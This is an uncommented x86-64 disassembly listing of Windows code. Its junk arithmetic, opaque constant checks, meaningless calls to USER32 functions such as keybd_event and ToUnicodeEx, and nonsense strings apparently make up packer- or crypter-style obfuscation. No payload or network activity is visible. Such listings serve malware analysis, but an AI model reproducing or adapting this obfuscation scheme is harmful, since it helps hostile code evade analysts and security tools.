mov dword [rsp + 0x350c], eax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
and eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x3524]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3518], eax
mov rax, qword [rsp + 0x6080]
mov eax, dword [rax]
mov dword [rsp + 0x3588], eax
mov eax, dword [rsp + 0x3518]
mov dword [rsp + 0x358c], eax
cmp dword [rsp + 0x358c], 0xf17
je 0x1400035d5
cmp dword [rsp + 0x358c], 0x7020
je 0x1400036b1
jmp 0x14000374e
mov eax, dword [rsp + 0x3504]
mov ecx, dword [0x1401c02b8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov edx, dword [rsp + 0x3588]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
ja 0x140003689
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
mov dword [rsp + 0x3590], eax
cmp dword [rsp + 0x3590], 0x155
je 0x14000362f
cmp dword [rsp + 0x3590], 0x3f6
je 0x140003666
jmp 0x140003687
lea rdx, str.Goat_past
lea rcx, str.pats_scroll
call qword [sym.imp.USER32.dll_FindWindowW]
mov qword [rsp + 0x6120], rax
movzx eax, byte [rsp + 0x61]
sub eax, 3
mov byte [rsp + 0x61], al
mov ecx, dword [rsp + 0x3518]
call fcn.1401427f0
nop
jmp 0x140003687
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rsp + 0x6078]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
jmp 0x1400036ac
movzx eax, byte [rsp + 0x61]
cmp eax, 0x95
je 0x1400036ac
mov edx, 0xa
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_GetPriorityClipboardFormat]
mov dword [rsp + 0x350c], eax
jmp 0x14000374e
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
and eax, 0x46
mov byte [rsp + 0x60], al
mov eax, dword [rsp + 0x351c]
mov dword [rsp + 0x3594], eax
cmp dword [rsp + 0x3594], 0xd8f0
je 0x1400036e0
jmp 0x140003731
movzx eax, word [rsp + 0xaa0]
movzx ecx, word [rsp + 0xaac]
sub eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
mov rax, qword [rsp + 0x60f8]
mov r9, qword [rax]
mov rax, qword [rsp + 0x60f8]
mov r8, qword [rax]
mov rax, qword [rsp + 0x60f8]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rax]
call fcn.140142c60
nop
jmp 0x14000374e
movsx eax, word [rsp + 0xa9c]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xaa8], ax
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x3524]
add ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x3518]
jg 0x1401424f2
movzx eax, byte [rsp + 0x61]
and eax, 6
mov byte [rsp + 0x61], al
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
sub eax, 0x21
mov byte [rsp + 0x60], al
mov eax, dword [rsp + 0x351c]
movzx ecx, al
mov eax, dword [rsp + 0x3588]
shr eax, cl
mov dword [0x1401c02b8], eax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
or eax, ecx
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
mov rax, qword [rsp + 0x6078]
mov rcx, qword [rsp + 0x60f8]
mov qword [rsp + 0x6128], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6128]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3524]
mov dword [rsp + 0x350c], eax
movsx eax, byte [rsp + 0x60]
xor eax, 0x3d
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
mov eax, dword [rsp + 0x3520]
sub eax, 0xca
mov dword [rsp + 0x3520], eax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x351c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3588], eax
movsx eax, byte [rsp + 0x60]
and eax, 0x42
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa0]
add eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
movsx eax, word [rsp + 0xaa8]
movsx ecx, word [rsp + 0xa9c]
sub eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
cmp dword [rsp + 0x3520], 0xb8ea
ja 0x14000376d
movabs rax, 0x7bbbf97a042c6a
mov rcx, qword [0x1401c02c0]
add rcx, rax
mov rax, rcx
mov qword [0x1401c02c0], rax
mov dword [rsp + 0x3598], 0xcf65
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x3518]
add ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x3524]
jge 0x14000390d
mov r9d, SHSetInstanceExplorer
mov r8d, 0xbf
lea rdx, str.Adopting_Ignites_Mobsters_antral
mov rcx, qword [rsp + 0x60e8]
call qword [sym.imp.USER32.dll_WinHelpW]
mov dword [rsp + 0x359c], eax
mov dword [rsp + 0x35a0], 0x6fad
movzx eax, word [rsp + 0xaa0]
mov word [rsp + 0xaac], ax
mov rax, qword [rsp + 0x60f8]
mov rax, qword [rax]
mov qword [rsp + 0x6130], rax
movabs rax, 0x722aa2396ffb73
cmp qword [rsp + 0x6130], rax
je 0x140003a4c
movabs rax, 0x7e9b7d9b94328b
cmp qword [rsp + 0x6130], rax
je 0x14000396c
jmp 0x140003ac1
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
sub eax, ecx
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
mov eax, dword [rsp + 0x3524]
mov ecx, dword [rsp + 0x350c]
sub ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x3518]
jg 0x140003a4a
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0x35a4], al
cmp byte [rsp + 0x35a4], 0x2b
je 0x1400039bf
jmp 0x140003a09
mov eax, dword [rsp + 0x3518]
mov ecx, dword [rsp + 0x350c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3524], eax
mov rax, qword [rsp + 0x60f8]
mov r9, qword [rax]
mov rax, qword [rsp + 0x60f8]
mov r8, qword [rax]
mov rdx, qword [rsp + 0x6078]
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rax]
call fcn.140142c60
nop
jmp 0x140003a4a
mov rax, qword [rsp + 0x6138]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0xd2
mov dword [rsp + 0x20], 0x26
lea r9, [rsp + 0x60]
lea r8, [rsp + 0x6098]
mov edx, 0x75
mov ecx, 0xb
call qword [sym.imp.USER32.dll_ToUnicodeEx]
mov dword [rsp + 0x3518], eax
jmp 0x140003ac1
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
and eax, ecx
movsx ecx, word [rsp + 0xaa8]
mov dword [rsp + 0x35a8], ecx
movsx edx, word [rsp + 0xab0]
movzx ecx, dl
mov edx, dword [rsp + 0x35a8]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x140003abb
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x60f8]
mov qword [rsp + 0x6140], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6140]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6078], rax
call fcn.140143640
nop
cmp dword [rsp + 0x3540], 0xfae9
je 0x140003d15
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
xor eax, 0x49
mov byte [rsp + 0x60], al
mov eax, dword [rsp + 0x3588]
mov ecx, dword [rsp + 0x3508]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x61]
add eax, 0x25
mov byte [rsp + 0x61], al
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab0]
and eax, ecx
mov word [0x1401c16d0], ax
movzx eax, word [rsp + 0xaa4]
movzx ecx, word [rsp + 0xaa0]
sub eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
movsx eax, word [rsp + 0xab0]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xaa8], ax
mov rax, qword [rsp + 0x6078]
mov rcx, qword [rsp + 0x6058]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x3588]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x351c], eax
mov rax, qword [rsp + 0x60f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6058]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6078], rax
mov eax, dword [rsp + 0x3588]
mov ecx, dword [rsp + 0x3508]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x60]
sub eax, 0x25
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
mov eax, dword [rsp + 0x3540]
add eax, 0x7e
mov dword [rsp + 0x3540], eax
movzx eax, word [rsp + 0xaac]
movzx ecx, word [rsp + 0xaa0]
add eax, ecx
mov word [rsp + 0xaa4], ax
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa0]
sar eax, cl
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [0x1401c16d0]
xor eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
mov eax, dword [rsp + 0x3508]
mov ecx, dword [rsp + 0x351c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov eax, dword [0x1401c02b8]
movzx ecx, al
mov eax, dword [rsp + 0x351c]
shl eax, cl
mov dword [rsp + 0x3588], eax
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa0]
and eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rsp + 0x6058]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6078], rax
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x3518]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3524], eax
movzx eax, byte [rsp + 0x61]
and eax, 0xba
mov byte [rsp + 0x61], al
jmp 0x140003ac1
movsx eax, word [rsp + 0xaa8]
movsx ecx, word [0x1401c16d0]
add eax, ecx
mov word [rsp + 0xa9c], ax
movzx eax, word [rsp + 0xaa0]
movzx ecx, word [rsp + 0xaac]
add eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
sub eax, 0x23
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [0x1401c16d0]
sub eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rsp + 0x6078]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6058], rax
movzx eax, word [rsp + 0xaa0]
movzx ecx, word [rsp + 0xaa4]
xor eax, ecx
mov word [rsp + 0xaac], ax
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x3524]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3518], eax
mov eax, dword [rsp + 0x3588]
mov rcx, qword [rsp + 0x6080]
mov qword [rsp + 0x6148], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6148]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3508], eax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
sar eax, 6
mov byte [rsp + 0x60], al
mov eax, dword [rsp + 0x34fc]
add eax, 0x20
mov dword [rsp + 0x34fc], eax
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaac]
and eax, ecx
mov word [rsp + 0xaa4], ax
movzx eax, byte [rsp + 0x61]
add eax, 0x3f
mov byte [rsp + 0x61], al
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab0]
add eax, ecx
mov word [0x1401c16d0], ax
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa0]
sub eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rsp + 0x6058]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6078], rax
mov eax, dword [rsp + 0x3524]
mov ecx, dword [rsp + 0x3518]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x350c], eax
mov eax, dword [rsp + 0x3504]
mov ecx, dword [0x1401c02b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x351c], eax
mov rax, qword [rsp + 0x6080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x351c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3588], eax
movzx eax, word [rsp + 0xaa8]
mov word [rsp + 0xab0], ax
cmp dword [rsp + 0x34fc], 0x3ad9
jb 0x140003d15
lea rax, [rsp + 0x61]
mov qword [rsp + 0x6150], rax
mov rax, qword [rsp + 0x6098]
movzx eax, word [rax]
mov word [rsp + 0xab4], ax
mov dword [rsp + 0x35ac], 0xeabf
movzx eax, word [rsp + 0xaac]
mov rcx, qword [rsp + 0x6110]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401c02c8], ax
cmp dword [rsp + 0x3550], 0xbcfb
je 0x14000419d
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa4]
sub eax, ecx
mov word [rsp + 0xaa0], ax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
or eax, ecx
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
mov rax, qword [rsp + 0x6150]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x61]
sar eax, cl
mov rcx, qword [rsp + 0x6150]
mov byte [rcx], al
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
shl eax, cl
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
mov rax, qword [rsp + 0x60f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6078]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6058], rax
mov eax, dword [0x1401c02b8]
mov ecx, dword [rsp + 0x351c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3504], eax
mov rax, qword [rsp + 0x6150]
movzx eax, byte [rax]
add eax, 0x6a
mov byte [rsp + 0x61], al
movsx eax, word [rsp + 0xaa8]
movsx ecx, word [rsp + 0xab4]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
mov eax, dword [rsp + 0x3504]
mov ecx, dword [rsp + 0x3588]
add ecx, eax
mov eax, ecx
mov dword [0x1401c02b8], eax
movzx eax, word [0x1401c02c8]
movzx ecx, word [rsp + 0xaa0]
sub eax, ecx
mov word [rsp + 0xaac], ax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
sub eax, 0x42
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0x6150]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x61]
and eax, ecx
mov rcx, qword [rsp + 0x6150]
mov byte [rcx], al
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rsp + 0x6058]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6150]
movzx eax, byte [rax]
sub eax, 0xc9
mov byte [rsp + 0x61], al
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x3504]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3550]
add eax, 0x1e
mov dword [rsp + 0x3550], eax
mov eax, dword [rsp + 0x3518]
movzx ecx, al
mov eax, dword [rsp + 0x350c]
sar eax, cl
mov dword [rsp + 0x3524], eax
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa4]
xor eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
or eax, ecx
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
movsx eax, word [rsp + 0xaa8]
movsx ecx, word [rsp + 0xa9c]
shl eax, cl
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
movsx eax, byte [rsp + 0x60]
and eax, 0x3d
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
mov rax, qword [rsp + 0x6150]
movzx eax, byte [rax]
sub eax, 3
mov byte [rsp + 0x61], al
jmp 0x140003f55
mov eax, dword [rsp + 0x3518]
mov dword [rsp + 0x35b0], eax
cmp dword [rsp + 0x35b0], 0xacd
je 0x1400041ba
jmp 0x140004213
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab0]
sub eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
mov r9d, 0x65
mov r8d, 0x3f
mov dl, 0x41
mov cl, reloc.SHELL32.dll_ILCombine
call qword [sym.imp.USER32.dll_keybd_event]
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rsp + 0x6058]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6078], rax
jmp 0x1400042fa
movzx eax, word [rsp + 0xaa4]
mov dword [rsp + 0x35b4], eax
cmp dword [rsp + 0x35b4], 0
je 0x140004231
jmp 0x1400042d2
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
add eax, 0x7d
movsx ecx, byte [rsp + 0x60]
cmp eax, ecx
jne 0x14000429d
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
add eax, 0x77
movsx ecx, byte [rsp + 0x60]
cmp eax, ecx
jl 0x140004282
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x3504]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
call fcn.140143640
nop
mov eax, dword [rsp + 0x3518]
mov ecx, dword [rsp + 0x3524]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x350c], eax
jmp 0x1400042d0
movabs rax, 0x7a236914662a3b
cmp qword [0x1401c02c0], rax
jne 0x1400042d0
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xaa8]
sub eax, ecx
mov rcx, qword [rsp + 0x6098]
mov word [rcx], ax
jmp 0x1400042fa
lea r9, [rsp + 0x3508]
mov r8d, 0x9f
mov edx, ILIsEqual
mov rcx, qword [rsp + 0x6158]
call qword [sym.imp.USER32.dll_GetMenuBarInfo]
mov dword [rsp + 0x35b8], eax
mov rax, qword [rsp + 0x6118]
movzx eax, byte [rax]
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0x6058]
mov qword [rsp + 0x6160], rax
cmp qword [rsp + 0x6160], 0
je 0x14000433d
movabs rax, 0x72c01449ba1bbd
cmp qword [rsp + 0x6160], rax
je 0x1400043a6
jmp 0x140004435
lea rax, [rsp + 0xaa8]
mov qword [rsp + 0x6168], rax
mov dword [rsp + 0x35bc], 0xce58
lea rax, [rsp + 0x61]
mov qword [rsp + 0x6170], rax
lea rax, [rsp + 0xaa0]
mov qword [rsp + 0x6178], rax
mov rax, qword [rsp + 0x60f8]
mov rax, qword [rax]
mov qword [rsp + 0x6180], rax
mov eax, dword [rsp + 0x3518]
mov ecx, dword [rsp + 0x350c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3524], eax
jmp 0x140004435
movzx eax, word [rsp + 0xaac]
movzx ecx, word [rsp + 0xaa4]
sar eax, cl
movzx ecx, word [rsp + 0xaa0]
movzx edx, word [0x1401c02c8]
xor ecx, edx
cmp eax, ecx
jge 0x1400043f6
mov rax, qword [rsp + 0x6080]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1401c02b8]
shl eax, cl
mov dword [rsp + 0x3504], eax
mov ecx, dword [rsp + 0x3524]
call fcn.1401427f0
nop
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa4]
sub eax, ecx
mov rcx, qword [rsp + 0x6178]
mov word [rcx], ax
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6178]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401c02c8], ax
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0x63], al
mov rax, qword [rsp + 0x6098]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6168]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa9c], ax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62]
sub eax, ecx
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
mov rax, qword [rsp + 0x6178]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6110]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xaa0], ax
mov eax, dword [rsp + 0x3504]
mov ecx, dword [0x1401c02b8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3508], eax
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rsp + 0x6180]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6078], rax
mov eax, dword [rsp + 0x3518]
mov ecx, dword [rsp + 0x350c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3524], eax
mov eax, dword [rsp + 0x3508]
mov ecx, dword [rsp + 0x3504]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6110]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa4]
and eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
or eax, ecx
mov byte [rsp + 0x62], al
movzx eax, byte [rsp + 0x63]
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6150]
mov byte [rcx], al
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xab0], ax
movsx eax, word [0x1401c16d0]
movsx ecx, word [rsp + 0xab0]
shl eax, cl
mov word [rsp + 0xab4], ax
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x3524]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3518], eax
mov rax, qword [rsp + 0x6078]
mov rcx, qword [rsp + 0x6058]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6180], rax
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rsp + 0x6058]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6078], rax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x3504]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
movzx eax, word [rsp + 0xaa4]
mov rcx, qword [rsp + 0x6110]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6178]
mov word [rcx], ax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
add eax, ecx
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa9c]
sub eax, ecx
mov word [rsp + 0xab0], ax
mov rax, qword [rsp + 0x6178]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6110]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6178]
mov word [rcx], ax
mov rax, qword [rsp + 0x6150]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6170]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x61], al
mov eax, dword [rsp + 0x3508]
mov ecx, dword [rsp + 0x3504]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3588], eax
mov eax, dword [rsp + 0x350c]
mov ecx, dword [rsp + 0x3518]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3524], eax
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x60f8]
mov qword [rsp + 0x6188], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6188]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x350c]
movzx ecx, al
mov eax, dword [rsp + 0x3518]
sar eax, cl
mov dword [rsp + 0x3524], eax
mov eax, dword [rsp + 0x35a0]
sub eax, 0xe4
mov dword [rsp + 0x35a0], eax
movabs rax, 0x7d0d0a8e2b4683
mov rcx, qword [0x1401c02c0]
or rcx, rax
mov rax, rcx
mov qword [0x1401c02c0], rax
movsx eax, word [rsp + 0xab0]
movsx ecx, word [0x1401c16d0]
xor eax, ecx
mov rcx, qword [rsp + 0x6168]
mov word [rcx], ax
movsx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x6118]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x62], al
cmp dword [rsp + 0x35a0], 0x45d1
ja 0x14000443e
movzx eax, byte [rsp + 0x63]
mov rcx, qword [rsp + 0x6150]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
mov rax, qword [rsp + 0x6178]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa0]
sub eax, ecx
mov word [rsp + 0xaac], ax
mov rax, qword [rsp + 0x60f8]
mov rcx, qword [rsp + 0x6058]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62]
sub eax, ecx
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
movzx eax, word [rsp + 0xaa0]
mov rcx, qword [rsp + 0x6178]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6110]
mov word [rcx], ax
mov rax, qword [rsp + 0x6080]
mov ecx, dword [rsp + 0x3588]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6150]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x63]
sub eax, ecx
mov rcx, qword [rsp + 0x6170]
mov byte [rcx], al
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x60]
add eax, ecx
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
movzx eax, word [rsp + 0xaa4]
mov rcx, qword [rsp + 0x6110]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6178]
mov word [rcx], ax
movsx eax, byte [rsp + 0x62]
mov rcx, qword [rsp + 0x6118]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x60], al
mov eax, dword [rsp + 0x3538]
sub eax, 3
mov dword [rsp + 0x3538], eax
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xab0]
shl eax, cl
mov word [rsp + 0xa9c], ax
mov eax, dword [rsp + 0x3518]
mov ecx, dword [rsp + 0x3524]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x350c], eax
mov eax, dword [rsp + 0x351c]
mov ecx, dword [0x1401c02b8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3504], eax
mov rax, qword [rsp + 0x6058]
mov rcx, qword [rsp + 0x6180]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6118]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62]
sub eax, ecx
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
movabs rax, 0x75318b36b8f17d
mov rcx, qword [0x1401c02c0]
add rcx, rax
mov rax, rcx
mov qword [0x1401c02c0], rax
mov rax, qword [rsp + 0x6168]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6098]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xab4], ax
movzx eax, word [rsp + 0xaac]
mov rcx, qword [rsp + 0x6178]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xaa0], ax
movsx eax, byte [rsp + 0x60]
movsx ecx, byte [rsp + 0x62]
sub eax, ecx
mov rcx, qword [rsp + 0x6118]
mov byte [rcx], al
